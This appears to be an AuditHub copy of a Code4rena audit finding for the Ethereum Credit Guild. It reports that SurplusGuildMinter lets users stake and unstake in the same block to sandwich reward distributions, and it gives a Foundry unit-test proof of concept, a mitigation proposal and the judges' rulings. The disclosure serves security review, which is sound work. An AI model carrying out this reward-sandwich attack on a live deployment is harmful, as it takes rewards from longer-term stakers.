Ethereum Credit Guild - 0xfave's results

A trust minimized pooled lending protocol.

General Information

Platform: Code4rena

Start Date: 11/12/2023

Pot Size: $90,500 USDC

Total HM: 29

Participants: 127

Period: 17 days

Judge: TrungOre

Total Solo HM: 4

Id: 310

League: ETH

Ethereum Credit Guild

Findings Distribution

Researcher Performance

Rank: 114/127

Findings: 1

Award: $6.82

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

6.8173 USDC - $6.82

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
edited-by-warden
duplicate-994

External Links

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114-L155 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158-L212 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L328-L333

Vulnerability details

Impact

There exists no lockup period associated with staking to receive a portion of rewards during in the unstake() function

Proof of Concept

A malicious actor may simply buy credit and then stake before the governor updates the reward using setRewardRatio() and unstake it in the same block thereby sandwiching the rewards and thereby cheating others that staked earlier.

Add this to SurplusGuildMinterUnitTest

function testUnstakeInSameBlock() public { // setup credit.mint(address(this), 150e18); credit.approve(address(sgm), 150e18); sgm.stake(term, 150e18); assertEq(credit.balanceOf(address(this)), 0); assertEq(profitManager.termSurplusBuffer(term), 150e18); assertEq(guild.balanceOf(address(sgm)), 300e18); assertEq(guild.getGaugeWeight(term), 350e18); assertEq(sgm.getUserStake(address(this), term).credit, 150e18); // the guild token earn interests vm.prank(governor); profitManager.setProfitSharingConfig( 0.5e18, // surplusBufferSplit 0, // creditSplit 0.5e18, // guildSplit 0, // otherSplit address(0) // otherRecipient ); credit.mint(address(profitManager), 35e18); profitManager.notifyPnL(term, 35e18); assertEq(profitManager.surplusBuffer(), 17.5e18); assertEq(profitManager.termSurplusBuffer(term), 150e18); (,, uint256 rewardsThis) = profitManager.getPendingRewards(address(this)); (,, uint256 rewardsSgm) = profitManager.getPendingRewards(address(sgm)); assertEq(rewardsThis, 2.5e18); assertEq(rewardsSgm, 15e18); // unstake (sgm) sgm.unstake(term, 150e18); assertEq(credit.balanceOf(address(this)), 150e18 + rewardsSgm); assertEq(guild.balanceOf(address(this)), rewardsSgm * REWARD_RATIO / 1e18 + 50e18); assertEq(credit.balanceOf(address(sgm)), 0); assertEq(guild.balanceOf(address(sgm)), 0); assertEq(profitManager.surplusBuffer(), 17.5e18); assertEq(profitManager.termSurplusBuffer(term), 0); assertEq(guild.getGaugeWeight(term), 50e18); assertEq(sgm.getUserStake(address(this), term).credit, 0); // cannot unstake if nothing staked vm.expectRevert("SurplusGuildMinter: invalid amount"); sgm.unstake(term, 1); } ` From this poc it shows that a user can easily just stake and unstake immediately to claim rewards and sell immediately in the same block thereby cheating others that staked for a longer time ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider implementing a staking/unstaking fee, lockup period or warmup fee ## Assessed type Other

#0 - c4-pre-sort

2024-01-02T21:10:12Z

0xSorryNotSorry marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-01-02T21:11:08Z

0xSorryNotSorry marked the issue as duplicate of #994

#2 - c4-judge

2024-01-25T18:10:22Z

Trumpero changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-01-25T18:14:15Z

Trumpero marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter